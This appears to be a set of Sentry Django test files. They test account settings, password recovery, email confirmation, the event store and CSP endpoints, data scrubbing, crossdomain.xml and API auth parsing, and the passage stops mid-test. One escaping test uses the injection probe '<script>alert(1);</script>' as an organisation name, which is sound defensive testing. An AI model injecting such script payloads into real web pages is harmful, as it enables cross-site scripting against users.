    def test_cannot_change_password_with_managed_user(self):
        user = self.create_user('foo@example.com', is_managed=True)

        self.login_as(user)

        params = self.params()
        params['email'] = user.email
        params['password'] = 'admin'
        params['new_password'] = 'foobar'

        resp = self.client.post(self.path, params)
        assert resp.status_code == 302
        user = User.objects.get(id=self.user.id)
        assert not user.check_password('foobar')

    def test_can_change_email_with_password(self):
        self.login_as(self.user)

        params = self.params()
        params['password'] = 'admin'
        params['email'] = 'bizbaz@example.com'

        resp = self.client.post(self.path, params)
        assert resp.status_code == 302
        user = User.objects.get(id=self.user.id)
        assert user.email == 'bizbaz@example.com'

    def test_can_change_email_without_set_password(self):
        self.login_as(self.user)

        self.user.update(password='')

        params = self.params()
        params['email'] = 'bizbaz@example.com'

        resp = self.client.post(self.path, params)
        assert resp.status_code == 302
        user = User.objects.get(id=self.user.id)
        assert user.email == 'bizbaz@example.com'

    def test_cannot_change_email_with_invalid_password(self):
        self.login_as(self.user)

        params = self.params()
        params['email'] = 'bizbaz@example.com'

        resp = self.client.post(self.path, params)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/account/settings.html')
        assert resp.context['form'].errors
        user = User.objects.get(id=self.user.id)
        assert user.email == 'admin@localhost'


class ListIdentitiesTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-account-settings-identities')

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_renders_with_required_context(self):
        self.login_as(self.user)
        UserSocialAuth.objects.create(user=self.user, provider='github')

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/account/identities.html')
        assert 'identity_list' in resp.context
        assert 'AUTH_PROVIDERS' in resp.context


class RecoverPasswordTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-account-recover')

    def test_renders_with_required_context(self):
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/account/recover/index.html')
        assert 'form' in resp.context

    def test_invalid_username(self):
        resp = self.client.post(self.path, {
            'user': 'nonexistent'
        })
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/account/recover/index.html')
        assert 'form' in resp.context
        assert 'user' in resp.context['form'].errors

    def test_managed_account_is_invalid(self):
        user = self.create_user('foo@example.com', is_managed=True)

        resp = self.client.post(self.path, {
            'user': user.email,
        })
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/account/recover/index.html')
        assert 'form' in resp.context
        assert 'user' in resp.context['form'].errors

    @mock.patch('sentry.models.LostPasswordHash.send_recover_mail')
    def test_valid_username(self, send_recover_mail):
        resp = self.client.post(self.path, {
            'user': self.user.username
        })
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/account/recover/sent.html')
        assert 'email' in resp.context
        send_recover_mail.assert_called_once_with()


class RecoverPasswordConfirmTest(TestCase):
    def setUp(self):
        super(RecoverPasswordConfirmTest, self).setUp()
        self.password_hash = LostPasswordHash.objects.create(user=self.user)

    @fixture
    def path(self):
        return reverse('sentry-account-recover-confirm', args=[self.user.id, self.password_hash.hash])

    def test_valid_token(self):
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/account/recover/confirm.html')

    def test_invalid_token(self):
        resp = self.client.get(reverse('sentry-account-recover-confirm', args=[1, 'adfadsf']))
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/account/recover/failure.html')

    def test_change_password(self):
        resp = self.client.post(self.path, {
            'password': 'bar',
            'confirm_password': 'bar'
        })
        assert resp.status_code == 302
        user = User.objects.get(id=self.user.id)
        assert user.check_password('bar')


class ConfirmEmailSendTest(TestCase):
    @mock.patch('sentry.models.User.send_confirm_emails')
    def test_valid(self, send_confirm_email):
        self.login_as(self.user)
        resp = self.client.get(reverse('sentry-account-confirm-email-send'))
        self.assertRedirects(resp, reverse('sentry-account-settings'), status_code=302)
        send_confirm_email.assert_called_once_with()


class ConfirmEmailTest(TestCase):

    def test_invalid(self):
        self.user.save()
        resp = self.client.get(reverse('sentry-account-confirm-email',
                                       args=[self.user.id, '5b1f2f266efa03b721cc9ea0d4742c5e']))
        assert resp.status_code == 302
        email = UserEmail.objects.get(email=self.user.email)
        assert not email.is_verified

    def test_valid(self):
        self.user.save()
        self.login_as(self.user)
        self.client.get(reverse('sentry-account-confirm-email-send'))
        email = self.user.emails.first()
        resp = self.client.get(reverse('sentry-account-confirm-email',
                                       args=[self.user.id, email.validation_hash]))
        self.assertRedirects(resp, reverse('sentry-account-settings'), status_code=302)
        email = self.user.emails.first()
        assert email.is_verified






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import TestCase


class DocsRedirectTest(TestCase):
    def test_response(self):
        path = reverse('sentry-docs-redirect')
        resp = self.client.get(path)
        assert resp['Location'] == 'https://docs.sentry.io/hosted/'
        assert resp.status_code == 302, resp.status_code


class ApiDocsRedirectTest(TestCase):
    def test_response(self):
        path = reverse('sentry-api-docs-redirect')
        resp = self.client.get(path)
        assert resp['Location'] == 'https://docs.sentry.io/hosted/api/'
        assert resp.status_code == 302, resp.status_code






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import

from sentry.models import Project
from sentry.web.forms.projects import ProjectQuotasForm
from sentry.testutils import TestCase


class ProjectQuotasFormTest(TestCase):
    def test_accepts_percentage(self):
        project = Project(id=1)
        form = ProjectQuotasForm(project, {'per_minute': '50%'})
        assert form.is_valid()
        assert form.cleaned_data['per_minute'] == '50%'

    def test_invalidates_101_percent(self):
        project = Project(id=1)
        form = ProjectQuotasForm(project, {'per_minute': '101%'})
        assert not form.is_valid()
        assert 'per_minute' in form.errors

    def test_accepts_numbers(self):
        project = Project(id=1)
        form = ProjectQuotasForm(project, {'per_minute': '100'})
        assert form.is_valid()
        assert form.cleaned_data['per_minute'] == '100'

    def test_discards_0_percent(self):
        project = Project(id=1)
        form = ProjectQuotasForm(project, {'per_minute': '0%'})
        assert form.is_valid()
        assert form.cleaned_data['per_minute'] == '0'






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import ProjectKey
from sentry.testutils import TestCase
from sentry.utils import json


class CspReportViewTest(TestCase):
    @fixture
    def path(self):
        path = reverse('sentry-api-csp-report', kwargs={'project_id': self.project.id})
        return path + '?sentry_key=%s' % self.projectkey.public_key

    def test_get_response(self):
        resp = self.client.get(self.path)
        assert resp.status_code == 405, resp.content

    def test_invalid_content_type(self):
        resp = self.client.post(self.path, content_type='text/plain')
        assert resp.status_code == 400, resp.content

    def test_missing_csp_report(self):
        resp = self.client.post(self.path,
            content_type='application/csp-report',
            data='{"lol":1}',
            HTTP_USER_AGENT='awesome',
        )
        assert resp.status_code == 400, resp.content

    @mock.patch('sentry.utils.http.get_origins')
    def test_bad_origin(self, get_origins):
        get_origins.return_value = ['example.com']
        resp = self.client.post(self.path,
            content_type='application/csp-report',
            data='{"csp-report":{"document-uri":"http://lolnope.com"}}',
            HTTP_USER_AGENT='awesome',
        )
        assert resp.status_code == 403, resp.content

        get_origins.return_value = ['*']
        resp = self.client.post(self.path,
            content_type='application/csp-report',
            data='{"csp-report":{"document-uri":"about:blank"}}',
            HTTP_USER_AGENT='awesome',
        )
        assert resp.status_code == 403, resp.content

    @mock.patch('sentry.web.api.is_valid_origin', mock.Mock(return_value=True))
    @mock.patch('sentry.web.api.CspReportView.process')
    def test_post_success(self, process):
        process.return_value = 'ok'
        resp = self._postCspWithHeader({
            'document-uri': 'http://example.com',
            'source-file': 'http://example.com',
            'effective-directive': 'style-src',
        })
        assert resp.status_code == 201, resp.content


class StoreViewTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-store', kwargs={'project_id': self.project.id})

    @mock.patch('sentry.web.api.StoreView._parse_header')
    def test_options_response(self, parse_header):
        project = self.create_project()
        pk = ProjectKey.objects.get_or_create(project=project)[0]
        parse_header.return_value = {
            'sentry_project': project.id,
            'sentry_key': pk.public_key,
            'sentry_version': '2.0',
        }
        resp = self.client.options(self.path)
        assert resp.status_code == 200, (resp.status_code, resp.content)
        self.assertIn('Allow', resp)
        self.assertEquals(resp['Allow'], 'GET, POST, HEAD, OPTIONS')
        self.assertIn('Content-Length', resp)
        self.assertEquals(resp['Content-Length'], '0')

    @mock.patch('sentry.web.api.is_valid_origin', mock.Mock(return_value=False))
    def test_options_response_with_invalid_origin(self):
        resp = self.client.options(self.path, HTTP_ORIGIN='http://foo.com')
        assert resp.status_code == 403, (resp.status_code, resp.content)
        self.assertIn('Access-Control-Allow-Origin', resp)
        self.assertEquals(resp['Access-Control-Allow-Origin'], '*')
        self.assertIn('X-Sentry-Error', resp)
        assert resp['X-Sentry-Error'] == "Invalid origin: http://foo.com"
        assert json.loads(resp.content)['error'] == resp['X-Sentry-Error']

    @mock.patch('sentry.web.api.is_valid_origin', mock.Mock(return_value=False))
    def test_options_response_with_invalid_referrer(self):
        resp = self.client.options(self.path, HTTP_REFERER='http://foo.com')
        assert resp.status_code == 403, (resp.status_code, resp.content)
        self.assertIn('Access-Control-Allow-Origin', resp)
        self.assertEquals(resp['Access-Control-Allow-Origin'], '*')
        self.assertIn('X-Sentry-Error', resp)
        assert resp['X-Sentry-Error'] == "Invalid origin: http://foo.com"
        assert json.loads(resp.content)['error'] == resp['X-Sentry-Error']

    @mock.patch('sentry.web.api.is_valid_origin', mock.Mock(return_value=True))
    def test_options_response_with_valid_origin(self):
        resp = self.client.options(self.path, HTTP_ORIGIN='http://foo.com')
        assert resp.status_code == 200, (resp.status_code, resp.content)
        self.assertIn('Access-Control-Allow-Origin', resp)
        self.assertEquals(resp['Access-Control-Allow-Origin'], 'http://foo.com')

    @mock.patch('sentry.web.api.is_valid_origin', mock.Mock(return_value=True))
    def test_options_response_with_valid_referrer(self):
        resp = self.client.options(self.path, HTTP_REFERER='http://foo.com')
        assert resp.status_code == 200, (resp.status_code, resp.content)
        self.assertIn('Access-Control-Allow-Origin', resp)
        self.assertEquals(resp['Access-Control-Allow-Origin'], 'http://foo.com')

    @mock.patch('sentry.coreapi.is_valid_ip', mock.Mock(return_value=False))
    def test_request_with_backlisted_ip(self):
        resp = self._postWithHeader({})
        assert resp.status_code == 403, (resp.status_code, resp.content)

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrubs_ip_address(self, mock_insert_data_to_database):
        self.project.update_option('sentry:scrub_ip_address', True)
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "env": {"REMOTE_ADDR": "127.0.0.1"}
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert not call_data['sentry.interfaces.User'].get('ip_address')
        assert not call_data['sentry.interfaces.Http']['env'].get('REMOTE_ADDR')

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrubs_org_ip_address_override(self, mock_insert_data_to_database):
        self.organization.update_option('sentry:require_scrub_ip_address', True)
        self.project.update_option('sentry:scrub_ip_address', False)
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "env": {"REMOTE_ADDR": "127.0.0.1"}
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert not call_data['sentry.interfaces.User'].get('ip_address')
        assert not call_data['sentry.interfaces.Http']['env'].get('REMOTE_ADDR')

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrub_data_off(self, mock_insert_data_to_database):
        self.project.update_option('sentry:scrub_data', False)
        self.project.update_option('sentry:scrub_defaults', False)
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "data": "password=lol&foo=1&bar=2&baz=3"
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert call_data['sentry.interfaces.Http']['data'] == 'password=lol&foo=1&bar=2&baz=3'

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrub_data_on(self, mock_insert_data_to_database):
        self.project.update_option('sentry:scrub_data', True)
        self.project.update_option('sentry:scrub_defaults', False)
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "data": "password=lol&foo=1&bar=2&baz=3"
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert call_data['sentry.interfaces.Http']['data'] == 'password=lol&foo=1&bar=2&baz=3'

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrub_data_defaults(self, mock_insert_data_to_database):
        self.project.update_option('sentry:scrub_data', True)
        self.project.update_option('sentry:scrub_defaults', True)
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "data": "password=lol&foo=1&bar=2&baz=3"
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert call_data['sentry.interfaces.Http']['data'] == 'password=[Filtered]&foo=1&bar=2&baz=3'

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrub_data_sensitive_fields(self, mock_insert_data_to_database):
        self.project.update_option('sentry:scrub_data', True)
        self.project.update_option('sentry:scrub_defaults', True)
        self.project.update_option('sentry:sensitive_fields', ['foo', 'bar'])
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "data": "password=lol&foo=1&bar=2&baz=3"
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert call_data['sentry.interfaces.Http']['data'] == 'password=[Filtered]&foo=[Filtered]&bar=[Filtered]&baz=3'

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrub_data_org_override(self, mock_insert_data_to_database):
        self.organization.update_option('sentry:require_scrub_data', True)
        self.project.update_option('sentry:scrub_data', False)
        self.organization.update_option('sentry:require_scrub_defaults', True)
        self.project.update_option('sentry:scrub_defaults', False)
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "data": "password=lol&foo=1&bar=2&baz=3"
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert call_data['sentry.interfaces.Http']['data'] == 'password=[Filtered]&foo=1&bar=2&baz=3'

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_scrub_data_org_override_sensitive_fields(self, mock_insert_data_to_database):
        self.organization.update_option('sentry:require_scrub_data', True)
        self.organization.update_option('sentry:require_scrub_defaults', True)
        self.organization.update_option('sentry:sensitive_fields', ['baz'])
        self.project.update_option('sentry:sensitive_fields', ['foo', 'bar'])
        body = {
            "message": "foo bar",
            "sentry.interfaces.User": {"ip_address": "127.0.0.1"},
            "sentry.interfaces.Http": {
                "method": "GET",
                "url": "http://example.com/",
                "data": "password=lol&foo=1&bar=2&baz=3"
            },
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert call_data['sentry.interfaces.Http']['data'] == 'password=[Filtered]&foo=[Filtered]&bar=[Filtered]&baz=[Filtered]'

    @mock.patch('sentry.coreapi.ClientApiHelper.insert_data_to_database')
    def test_uses_client_as_sdk(self, mock_insert_data_to_database):
        body = {
            "message": "foo bar",
        }
        resp = self._postWithHeader(body)
        assert resp.status_code == 200, (resp.status_code, resp.content)

        call_data = mock_insert_data_to_database.call_args[0][0]
        assert call_data['sdk'] == {
            'name': '_postWithHeader',
            'version': '0.0.0',
            'client_ip': '127.0.0.1',
        }


class CrossDomainXmlTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-crossdomain-xml', kwargs={'project_id': self.project.id})

    @mock.patch('sentry.web.api.get_origins')
    def test_output_with_global(self, get_origins):
        get_origins.return_value = '*'
        resp = self.client.get(self.path)
        get_origins.assert_called_once_with(self.project)
        assert resp.status_code == 200, resp.content
        self.assertEquals(resp['Content-Type'], 'application/xml')
        self.assertTemplateUsed(resp, 'sentry/crossdomain.xml')
        assert '<allow-access-from domain="*" secure="false" />' in resp.content.decode('utf-8')

    @mock.patch('sentry.web.api.get_origins')
    def test_output_with_whitelist(self, get_origins):
        get_origins.return_value = ['disqus.com', 'www.disqus.com']
        resp = self.client.get(self.path)
        get_origins.assert_called_once_with(self.project)
        self.assertEquals(resp.status_code, 200)
        self.assertEquals(resp['Content-Type'], 'application/xml')
        self.assertTemplateUsed(resp, 'sentry/crossdomain.xml')
        assert '<allow-access-from domain="disqus.com" secure="false" />' in resp.content.decode('utf-8')
        assert '<allow-access-from domain="www.disqus.com" secure="false" />' in resp.content.decode('utf-8')

    @mock.patch('sentry.web.api.get_origins')
    def test_output_with_no_origins(self, get_origins):
        get_origins.return_value = []
        resp = self.client.get(self.path)
        get_origins.assert_called_once_with(self.project)
        self.assertEquals(resp.status_code, 200)
        self.assertEquals(resp['Content-Type'], 'application/xml')
        self.assertTemplateUsed(resp, 'sentry/crossdomain.xml')
        assert '<allow-access-from' not in resp.content.decode('utf-8')

    def test_output_allows_x_sentry_auth(self):
        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 200)
        self.assertEquals(resp['Content-Type'], 'application/xml')
        self.assertTemplateUsed(resp, 'sentry/crossdomain.xml')
        assert '<allow-http-request-headers-from domain="*" headers="*" secure="false" />' in resp.content.decode('utf-8')


class CrossDomainXmlIndexTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-crossdomain-xml-index')

    def test_permits_policies(self):
        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 200)
        self.assertEquals(resp['Content-Type'], 'application/xml')
        self.assertTemplateUsed(resp, 'sentry/crossdomain_index.xml')
        assert '<site-control permitted-cross-domain-policies="all" />' in resp.content.decode('utf-8')


class RobotsTxtTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-robots-txt')

    def test_robots(self):
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        assert resp['Content-Type'] == 'text/plain'






from __future__ import absolute_import

from django.template import Context, Template
from mock import Mock

from sentry.testutils import TestCase


class FeaturesTest(TestCase):
    TEMPLATE = Template("""
        {% load sentry_features %}
        {% feature auth:register %}
            <span>register</span>
        {% else %}
            <span>nope</span>
        {% endfeature %}
    """)

    def test_enabled(self):
        with self.feature('auth:register'):
            result = self.TEMPLATE.render(Context({
                'request': Mock(),
            }))

        assert '<span>register</span>' in result

    def test_disabled(self):
        with self.feature('auth:register', False):
            result = self.TEMPLATE.render(Context({
                'request': Mock(),
            }))

        assert '<span>nope</span>' in result






from __future__ import absolute_import

from django.template import Context, Template

from sentry.testutils import TestCase


class SerializeDetailedOrgTest(TestCase):
    TEMPLATE = Template("""
        {% load sentry_api %}
        {% serialize_detailed_org org %}
    """)

    def test_escapes_js(self):
        org = self.create_organization(name='<script>alert(1);</script>')

        result = self.TEMPLATE.render(Context({
            'org': org,
        }))

        assert '<script>' not in result
        assert '\u003cscript\u003ealert(1);\u003c/script\u003e' in result






from __future__ import absolute_import

from django.template import Context, Template
from mock import Mock

from sentry.testutils import TestCase


class AssetsTest(TestCase):
    TEMPLATE = Template("""
        {% load sentry_assets %}
        {% locale_js_include %}
    """)

    def test_supported_foreign_lang(self):
        result = self.TEMPLATE.render(Context({
            'request': Mock(LANGUAGE_CODE='fr'),  # French, in locale/catalogs.json
        }))

        assert '<script src="/_static/{version}/sentry/dist/locale/fr.js"></script>' in result

    def test_unsupported_foreign_lang(self):
        result = self.TEMPLATE.render(Context({
            'request': Mock(LANGUAGE_CODE='ro'),  # Romanian, not in locale/catalogs.json
        }))

        assert result.strip() == ''

    def test_english(self):
        result = self.TEMPLATE.render(Context({
            'request': Mock(LANGUAGE_CODE='en'),
        }))

        assert result.strip() == ''

    def test_no_lang(self):
        result = self.TEMPLATE.render(Context({
            'request': Mock(),
        }))

        assert result.strip() == ''






from __future__ import absolute_import

from django.template import Context, Template
from mock import Mock

from sentry.plugins import Plugin2
from sentry.testutils import PluginTestCase


class SamplePlugin(Plugin2):
    def get_actions(self, request, group):
        return [('Example Action', 'http://example.com?id=%s' % (group.id,))]

    def get_annotations(self, group):
        return [
            {'label': 'Example Tag', 'url': 'http://example.com?id=%s' % (group.id,)},
            {'label': 'Example Two'},
        ]

    def is_enabled(self, project=None):
        return True


class GetActionsTest(PluginTestCase):
    plugin = SamplePlugin

    TEMPLATE = Template("""
        {% load sentry_plugins %}
        {% for k, v in group|get_actions:request %}
            <span>{{ k }} - {{ v }}</span>
        {% endfor %}
    """)

    def test_includes_v2_plugins(self):
        group = self.create_group()

        result = self.TEMPLATE.render(Context({
            'request': Mock(),
            'group': group,
        }))

        assert '<span>Example Action - http://example.com?id=%s</span>' % (group.id,) in result


class GetAnnotationsTest(PluginTestCase):
    plugin = SamplePlugin

    TEMPLATE = Template("""
        {% load sentry_plugins %}
        {% for a in group|get_annotations:request %}
            <span>{{ a.label }} - {{ a.url }}</span>
        {% endfor %}
    """)

    def test_includes_v2_plugins(self):
        group = self.create_group()

        result = self.TEMPLATE.render(Context({
            'request': Mock(),
            'group': group,
        }))

        assert '<span>Example Tag - http://example.com?id=%s</span>' % (group.id,) in result
        assert '<span>Example Two - None</span>' in result






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from datetime import datetime
from uuid import UUID

from sentry.coreapi import (
    APIError, APIUnauthorized, Auth, ClientApiHelper, InvalidFingerprint,
    InvalidTimestamp, get_interface, CspApiHelper, APIForbidden,
)
from sentry.testutils import TestCase


class BaseAPITest(TestCase):
    helper_cls = ClientApiHelper

    def setUp(self):
        self.user = self.create_user('coreapi@example.com')
        self.team = self.create_team(name='Foo')
        self.project = self.create_project(team=self.team)
        self.pk = self.project.key_set.get_or_create()[0]
        self.helper = self.helper_cls(agent='Awesome Browser', ip_address='69.69.69.69')


class AuthFromRequestTest(BaseAPITest):
    def test_valid(self):
        request = mock.Mock()
        request.META = {'HTTP_X_SENTRY_AUTH': 'Sentry sentry_key=value, biz=baz'}
        result = self.helper.auth_from_request(request)
        assert result.public_key == 'value'

    def test_valid_missing_space(self):
        request = mock.Mock()
        request.META = {'HTTP_X_SENTRY_AUTH': 'Sentry sentry_key=value,biz=baz'}
        result = self.helper.auth_from_request(request)
        assert result.public_key == 'value'

    def test_valid_ignore_case(self):
        request = mock.Mock()
        request.META = {'HTTP_X_SENTRY_AUTH': 'SeNtRy sentry_key=value, biz=baz'}
        result = self.helper.auth_from_request(request)
        assert result.public_key == 'value'

    def test_invalid_header_defers_to_GET(self):
        request = mock.Mock()
        request.META = {'HTTP_X_SENTRY_AUTH': 'foobar'}
        request.GET = {'sentry_version': '1', 'foo': 'bar'}
        result = self.helper.auth_from_request(request)
        assert result.version == '1'

    def test_invalid_legacy_header_defers_to_GET(self):
        request = mock.Mock()
        request.META = {'HTTP_AUTHORIZATION': 'foobar'}
        request.GET = {'sentry_version': '1', 'foo': 'bar'}
        result = self.helper.auth_from_request(request)
        assert result.version == '1'

    def test_invalid_header_bad_token(self):
        request = mock.Mock()
        request.META = {'HTTP_X_SENTRY_AUTH': 'Sentryfoo'}
        request.GET = {}
        with self.assertRaises(APIUnauthorized):
            self.helper.auth_from_request(request)

    def test_invalid_header_missing_pair(self):
        request = mock.Mock()
        request.META = {'HTTP_X_SENTRY_AUTH': 'Sentry foo'}
        with self.assertRaises(APIUnauthorized):
            self.helper.auth_from_request(request)

    def test_invalid_malformed_value(self):
        request = mock.Mock()
        request.META = {'HTTP_X_SENTRY_AUTH': 'Sentry sentry_key=value,,biz=baz'}
        with self.assertRaises(APIUnauthorized):
            self.helper.auth_from_request(request)


class ProjectFromAuthTest(BaseAPITest):
    def test_invalid_if_missing_key(self):
        self.assertRaises(APIUnauthorized, self.helper.project_from_auth, Auth({}))

    def test_valid_with_key(self):
        auth = Auth({'sentry_key': self.pk.public_key})
        result = self.helper.project_from_auth(auth)
        self.assertEquals(result, self.project)

    def test_invalid_key(self):
        auth = Auth({'sentry_key': 'z'})
        self.assertRaises(APIUnauthorized, self.helper.project_from_auth, auth)

    def test_invalid_secret(self):
        auth = Auth({'sentry_key': self.pk.public_key, 'sentry_secret': 'z'})
        self.assertRaises(APIUnauthorized, self.helper.project_from_auth, auth)


class ProcessFingerprintTest(BaseAPITest):
    def test_invalid_as_string(self):
        self.assertRaises(InvalidFingerprint, self.helper._process_fingerprint, {
            'fingerprint': '2012-01-01T10:30:45',
        })

    def test_invalid_component(self):
        self.assertRaises(InvalidFingerprint, self.helper._process_fingerprint, {
            'fingerprint': ['foo', ['bar']],
        })

    def simple(self):
        data = self.helper._process_fingerprint({
            'fingerprint': ['{{default}}', 1, 'bar', 4.5],
        })
        self.assertTrue('fingerprint' in data)
        self.assertEquals(data['fingerprint'], ['{{default}}', '1', 'bar', '4.5'])


class ProcessDataTimestampTest(BaseAPITest):
    def test_iso_timestamp(self):
        d = datetime(2012, 1, 1, 10, 30, 45)
        data = self.helper._process_data_timestamp({
            'timestamp': '2012-01-01T10:30:45'
        }, current_datetime=d)
        self.assertTrue('timestamp' in data)
        self.assertEquals(data['timestamp'], 1325413845.0)

    def test_iso_timestamp_with_ms(self):
        d = datetime(2012, 1, 1, 10, 30, 45, 434000)
        data = self.helper._process_data_timestamp({
            'timestamp': '2012-01-01T10:30:45.434'
        }, current_datetime=d)
        self.assertTrue('timestamp' in data)
        self.assertEquals(data['timestamp'], 1325413845.0)

    def test_timestamp_iso_timestamp_with_Z(self):
        d = datetime(2012, 1, 1, 10, 30, 45)
        data = self.helper._process_data_timestamp({
            'timestamp': '2012-01-01T10:30:45Z'
        }, current_datetime=d)
        self.assertTrue('timestamp' in data)
        self.assertEquals(data['timestamp'], 1325413845.0)

    def test_invalid_timestamp(self):
        self.assertRaises(InvalidTimestamp, self.helper._process_data_timestamp, {
            'timestamp': 'foo'
        })

    def test_invalid_numeric_timestamp(self):
        self.assertRaises(InvalidTimestamp, self.helper._process_data_timestamp, {
            'timestamp': '100000000000000000000.0'
        })

    def test_future_timestamp(self):
        self.assertRaises(InvalidTimestamp, self.helper._process_data_timestamp, {
            'timestamp': '2052-01-01T10:30:45Z'
        })

    def test_long_microseconds_value(self):
        d = datetime(2012, 1, 1, 10, 30, 45)
        data = self.helper._process_data_timestamp({
            'timestamp': '2012-01-01T10:30:45.341324Z'
        }, current_datetime=d)
        self.assertTrue('timestamp' in data)
        self.assertEquals(data['timestamp'], 1325413845.0)


class ValidateDataTest(BaseAPITest):
    def test_missing_project_id(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
        })
        assert data['project'] == self.project.id

    @mock.patch('uuid.uuid4', return_value=UUID('031667ea1758441f92c7995a428d2d14'))
    def test_empty_event_id(self, uuid4):
        data = self.helper.validate_data(self.project, {
            'event_id': '',
        })
        assert data['event_id'] == '031667ea1758441f92c7995a428d2d14'

    @mock.patch('uuid.uuid4', return_value=UUID('031667ea1758441f92c7995a428d2d14'))
    def test_missing_event_id(self, uuid4):
        data = self.helper.validate_data(self.project, {})
        assert data['event_id'] == '031667ea1758441f92c7995a428d2d14'

    @mock.patch('uuid.uuid4', return_value=UUID('031667ea1758441f92c7995a428d2d14'))
    def test_invalid_event_id(self, uuid4):
        data = self.helper.validate_data(self.project, {
            'event_id': 'a' * 33,
        })
        assert data['event_id'] == '031667ea1758441f92c7995a428d2d14'
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'value_too_long'
        assert data['errors'][0]['name'] == 'event_id'
        assert data['errors'][0]['value'] == 'a' * 33

        data = self.helper.validate_data(self.project, {
            'event_id': 'xyz',
        })
        assert data['event_id'] == '031667ea1758441f92c7995a428d2d14'
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_data'
        assert data['errors'][0]['name'] == 'event_id'
        assert data['errors'][0]['value'] == 'xyz'

    def test_invalid_event_id_raises(self):
        self.assertRaises(APIError, self.helper.validate_data, self.project, {
            'event_id': 1
        })

    def test_unknown_attribute(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'foo': 'bar',
        })
        assert 'foo' not in data
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_attribute'
        assert data['errors'][0]['name'] == 'foo'

    def test_invalid_interface_name(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'foo.baz': 'bar',
        })
        assert 'foo.baz' not in data
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_attribute'
        assert data['errors'][0]['name'] == 'foo.baz'

    def test_invalid_interface_import_path(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
